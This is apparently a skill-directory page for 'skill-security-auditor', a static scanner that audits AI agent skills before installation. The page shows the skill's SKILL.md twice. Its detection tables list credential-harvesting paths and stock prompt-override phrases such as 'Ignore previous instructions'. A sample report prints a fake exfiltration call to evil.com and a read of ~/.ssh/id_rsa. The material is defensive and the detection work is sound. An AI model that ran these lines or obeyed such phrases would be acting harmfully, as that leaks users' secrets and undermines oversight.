Skill security auditor

Security audit and vulnerability scanner for AI agent skills before installation.

How to use it

Claude Code
  1. Run the line below. It pulls the whole folder into ~/.claude/skills/skill-security-auditor-2, including the files SKILL.md points to.
  2. Describe your job in plain words. Claude Code follows the skill from there.
Claude Code — installs the whole folder, not just SKILL.md
npx degit alirezarezvani/claude-skills/engineering/skills/skill-security-auditor#main ~/.claude/skills/skill-security-auditor-2

For one project only, change the path to .claude/skills/skill-security-auditor-2. This skill also uses requirements.txt, package.json, audit.json — copying SKILL.md alone won't be enough. See the folder on GitHub.

Claude (web or desktop app)
  1. On this page open ⋯ → Download .md.
  2. Save it as SKILL.md in a folder, zip the folder, then Customize → Skills → + → Create skill → Upload a skill.
  3. Pick the file and Save. Claude shows the name and description and runs a security scan.
  4. Check the skill is switched on.
  5. Start a new chat and describe your job in plain words. The AI follows the skill from there.
ChatGPT or another app
  1. ChatGPT: make a Project and paste it into Instructions.
  2. Neither? Paste it at the top of a new chat — it works for that chat.
Not working?
  • Check which app you pasted it into — the steps above name the right one.
  • Some skills need the paid tier of Claude or ChatGPT.
Step-by-step guide with screenshots · Ask in the forum

Paste into Claude, ChatGPT or Cursor.

Source of Skill security auditor

Show the full text172 lines
namedescription
skill-security-auditor> Security audit and vulnerability scanner for AI agent skills before installation. Use when: (1) evaluating a skill from an untrusted source, (2) auditing a skill directory or git repo URL for malicious code, (3) pre-install security gate for Claude Code plugins, OpenClaw skills, or Codex skills, (4) scanning Python scripts for dangerous patterns like os.system, eval, subprocess, network exfiltration, (5) detecting prompt injection in SKILL.md files, (6) checking dependency supply chain risks, (7) verifying file system access stays within skill boundaries. Triggers: "audit this skill", "is this skill safe", "scan skill for security", check skill before install", "skill security check", "skill vulnerability scan".

Skill Security Auditor

Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findings and remediation guidance.

Quick Start

# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/

# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name

# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict

# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json

What Gets Scanned

1. Code Execution Risks (Python/Bash Scripts)

Scans all .py, .sh, .bash, .js, .ts files for:

Category Patterns Detected Severity
Command injection os.system(), os.popen(), subprocess.call(shell=True), backtick execution 🔴 CRITICAL
Code execution eval(), exec(), compile(), __import__() 🔴 CRITICAL
Obfuscation base64-encoded payloads, codecs.decode, hex-encoded strings, chr() chains 🔴 CRITICAL
Network exfiltration requests.post(), urllib.request, socket.connect(), httpx, aiohttp 🔴 CRITICAL
Credential harvesting reads from ~/.ssh, ~/.aws, ~/.config, env var extraction patterns 🔴 CRITICAL
File system abuse writes outside skill dir, /etc/, ~/.bashrc, ~/.profile, symlink creation 🟡 HIGH
Privilege escalation sudo, chmod 777, setuid, cron manipulation 🔴 CRITICAL
Unsafe deserialization pickle.loads(), yaml.load() (without SafeLoader), marshal.loads() 🟡 HIGH
Subprocess (safe) subprocess.run() with list args, no shell ⚪ INFO
2. Prompt Injection in SKILL.md

Scans SKILL.md and all .md reference files for:

Pattern Example Severity
System prompt override "Ignore previous instructions", "You are now..." 🔴 CRITICAL
Role hijacking "Act as root", "Pretend you have no restrictions" 🔴 CRITICAL
Safety bypass "Skip safety checks", "Disable content filtering" 🔴 CRITICAL
Hidden instructions Zero-width characters, HTML comments with directives 🟡 HIGH
Excessive permissions "Run any command", "Full filesystem access" 🟡 HIGH
Data extraction "Send contents of", "Upload file to", "POST to" 🔴 CRITICAL
3. Dependency Supply Chain

For skills with requirements.txt, package.json, or inline pip install:

Check What It Does Severity
Known vulnerabilities Cross-reference with PyPI/npm advisory databases 🔴 CRITICAL
Typosquatting Flag packages similar to popular ones (e.g., reqeusts) 🟡 HIGH
Unpinned versions Flag requests>=2.0 vs requests==2.31.0 ⚪ INFO
Install commands in code pip install or npm install inside scripts 🟡 HIGH
Suspicious packages Low download count, recent creation, single maintainer ⚪ INFO
4. File System & Structure
Check What It Does Severity
Boundary violation Scripts referencing paths outside skill directory 🟡 HIGH
Hidden files .env, dotfiles that shouldn't be in a skill 🟡 HIGH
Binary files Unexpected executables, .so, .dll, .exe 🔴 CRITICAL
Large files Files >1MB that could hide payloads ⚪ INFO
Symlinks Symbolic links pointing outside skill directory 🔴 CRITICAL

Audit Workflow

  1. Run the scanner on the skill directory or repo URL
  2. Review the report — findings grouped by severity
  3. Verdict interpretation:
    • ✅ PASS — No critical or high findings. Safe to install.
    • ⚠️ WARN — High/medium findings detected. Review manually before installing.
    • ❌ FAIL — Critical findings. Do NOT install without remediation.
  4. Remediation — each finding includes specific fix guidance

Reading the Report

╔══════════════════════════════════════════════╗
║  SKILL SECURITY AUDIT REPORT                ║
║  Skill: example-skill                        ║
║  Verdict: ❌ FAIL                            ║
╠══════════════════════════════════════════════╣
║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║
╚══════════════════════════════════════════════╝

🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
   Pattern: eval(user_input)
   Risk: Arbitrary code execution from untrusted input
   Fix: Replace eval() with ast.literal_eval() or explicit parsing

🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
   Pattern: requests.post("https://evil.com/collect", data=results)
   Risk: Data exfiltration to external server
   Fix: Remove outbound network calls or verify destination is trusted

🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
   Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
   Risk: Reads SSH private key outside skill scope
   Fix: Remove filesystem access outside skill directory

⚪ INFO [DEPS-UNPIN] requirements.txt:3
   Pattern: requests>=2.0
   Risk: Unpinned dependency may introduce vulnerabilities
   Fix: Pin to specific version: requests==2.31.0

Advanced Usage

Audit a Skill from Git Before Cloning
# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
CI/CD Integration
# GitHub Actions step
- name: "audit-skill-security"
  run: |
    python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
    if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
Batch Audit
# Audit all skills in a directory
for skill in skills/*/; do
  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done

Threat Model Reference

For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.

Limitations

  • Cannot detect logic bombs or time-delayed payloads with certainty
  • Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
  • Network destination reputation checks require internet access
  • Does not execute code — static analysis only (safe but less complete than dynamic analysis)
  • Dependency vulnerability checks use local pattern matching, not live CVE databases

When in doubt after an audit, don't install. Ask the skill author for clarification.

1---
2name: "skill-security-auditor"
3description: >
4 Security audit and vulnerability scanner for AI agent skills before installation.
5 Use when: (1) evaluating a skill from an untrusted source, (2) auditing a skill
6 directory or git repo URL for malicious code, (3) pre-install security gate for
7 Claude Code plugins, OpenClaw skills, or Codex skills, (4) scanning Python scripts
8 for dangerous patterns like os.system, eval, subprocess, network exfiltration,
9 (5) detecting prompt injection in SKILL.md files, (6) checking dependency supply
10 chain risks, (7) verifying file system access stays within skill boundaries.
11 Triggers: "audit this skill", "is this skill safe", "scan skill for security",
12 "check skill before install", "skill security check", "skill vulnerability scan".
13---
14 
15# Skill Security Auditor
16 
17Scan and audit AI agent skills for security risks before installation. Produces a
18clear **PASS / WARN / FAIL** verdict with findings and remediation guidance.
19 
20## Quick Start
21 
22```bash
23# Audit a local skill directory
24python3 scripts/skill_security_auditor.py /path/to/skill-name/
25 
26# Audit a skill from a git repo
27python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name
28 
29# Audit with strict mode (any WARN becomes FAIL)
30python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict
31 
32# Output JSON report
33python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
34```
35 
36## What Gets Scanned
37 
38### 1. Code Execution Risks (Python/Bash Scripts)
39 
40Scans all `.py`, `.sh`, `.bash`, `.js`, `.ts` files for:
41 
42| Category | Patterns Detected | Severity |
43|----------|-------------------|----------|
44| **Command injection** | `os.system()`, `os.popen()`, `subprocess.call(shell=True)`, backtick execution | 🔴 CRITICAL |
45| **Code execution** | `eval()`, `exec()`, `compile()`, `__import__()` | 🔴 CRITICAL |
46| **Obfuscation** | base64-encoded payloads, `codecs.decode`, hex-encoded strings, `chr()` chains | 🔴 CRITICAL |
47| **Network exfiltration** | `requests.post()`, `urllib.request`, `socket.connect()`, `httpx`, `aiohttp` | 🔴 CRITICAL |
48| **Credential harvesting** | reads from `~/.ssh`, `~/.aws`, `~/.config`, env var extraction patterns | 🔴 CRITICAL |
49| **File system abuse** | writes outside skill dir, `/etc/`, `~/.bashrc`, `~/.profile`, symlink creation | 🟡 HIGH |
50| **Privilege escalation** | `sudo`, `chmod 777`, `setuid`, cron manipulation | 🔴 CRITICAL |
51| **Unsafe deserialization** | `pickle.loads()`, `yaml.load()` (without SafeLoader), `marshal.loads()` | 🟡 HIGH |
52| **Subprocess (safe)** | `subprocess.run()` with list args, no shell | ⚪ INFO |
53 
54### 2. Prompt Injection in SKILL.md
55 
56Scans SKILL.md and all `.md` reference files for:
57 
58| Pattern | Example | Severity |
59|---------|---------|----------|
60| **System prompt override** | "Ignore previous instructions", "You are now..." | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
61| **Role hijacking** | "Act as root", "Pretend you have no restrictions" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
62| **Safety bypass** | "Skip safety checks", "Disable content filtering" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
63| **Hidden instructions** | Zero-width characters, HTML comments with directives | 🟡 HIGH |
64| **Excessive permissions** | "Run any command", "Full filesystem access" | 🟡 HIGH |
65| **Data extraction** | "Send contents of", "Upload file to", "POST to" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
66 
67### 3. Dependency Supply Chain
68 
69For skills with `requirements.txt`, `package.json`, or inline `pip install`:
70 
71| Check | What It Does | Severity |
72|-------|-------------|----------|
73| **Known vulnerabilities** | Cross-reference with PyPI/npm advisory databases | 🔴 CRITICAL |
74| **Typosquatting** | Flag packages similar to popular ones (e.g., `reqeusts`) | 🟡 HIGH |
75| **Unpinned versions** | Flag `requests>=2.0` vs `requests==2.31.0` | ⚪ INFO |
76| **Install commands in code** | `pip install` or `npm install` inside scripts | 🟡 HIGH |
77| **Suspicious packages** | Low download count, recent creation, single maintainer | ⚪ INFO |
78 
79### 4. File System & Structure
80 
81| Check | What It Does | Severity |
82|-------|-------------|----------|
83| **Boundary violation** | Scripts referencing paths outside skill directory | 🟡 HIGH |
84| **Hidden files** | `.env`, dotfiles that shouldn't be in a skill | 🟡 HIGH |
85| **Binary files** | Unexpected executables, `.so`, `.dll`, `.exe` | 🔴 CRITICAL |
86| **Large files** | Files >1MB that could hide payloads | ⚪ INFO |
87| **Symlinks** | Symbolic links pointing outside skill directory | 🔴 CRITICAL |
88 
89## Audit Workflow
90 
911. **Run the scanner** on the skill directory or repo URL
922. **Review the report** — findings grouped by severity
933. **Verdict interpretation:**
94 - **✅ PASS** — No critical or high findings. Safe to install.
95 - **⚠️ WARN** — High/medium findings detected. Review manually before installing.
96 - **❌ FAIL** — Critical findings. Do NOT install without remediation.
974. **Remediation** — each finding includes specific fix guidance
98 
99## Reading the Report
100 
101```
102╔══════════════════════════════════════════════╗
103║ SKILL SECURITY AUDIT REPORT ║
104║ Skill: example-skill ║
105║ Verdict: ❌ FAIL ║
106╠══════════════════════════════════════════════╣
107║ 🔴 CRITICAL: 2 🟡 HIGH: 1 ⚪ INFO: 3 ║
108╚══════════════════════════════════════════════╝
109 
110🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
111 Pattern: eval(user_input)
112 Risk: Arbitrary code execution from untrusted input
113 Fix: Replace eval() with ast.literal_eval() or explicit parsing
114 
115🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
116 Pattern: requests.post("https://evil.com/collect", data=results)
117 Risk: Data exfiltration to external server
118 Fix: Remove outbound network calls or verify destination is trusted
119 
120🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
121 Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
122 Risk: Reads SSH private key outside skill scope
123 Fix: Remove filesystem access outside skill directory
124 
125⚪ INFO [DEPS-UNPIN] requirements.txt:3
126 Pattern: requests>=2.0
127 Risk: Unpinned dependency may introduce vulnerabilities
128 Fix: Pin to specific version: requests==2.31.0
129```
130 
131## Advanced Usage
132 
133### Audit a Skill from Git Before Cloning
134 
135```bash
136# Clone to temp dir, audit, then clean up
137python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
138```
139 
140### CI/CD Integration
141 
142```yaml
143# GitHub Actions step
144- name: "audit-skill-security"
145 run: |
146 python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
147 if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
148```
149 
150### Batch Audit
151 
152```bash
153# Audit all skills in a directory
154for skill in skills/*/; do
155 python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
156done
157```
158 
159## Threat Model Reference
160 
161For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see [references/threat-model.md](references/threat-model.md).
162 
163## Limitations
164 
165- Cannot detect logic bombs or time-delayed payloads with certainty
166- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
167- Network destination reputation checks require internet access
168- Does not execute code — static analysis only (safe but less complete than dynamic analysis)
169- Dependency vulnerability checks use local pattern matching, not live CVE databases
170 
171When in doubt after an audit, **don't install**. Ask the skill author for clarification.
172 

Discussion

Alternatives

Also in SecuritySee all 533 in Development →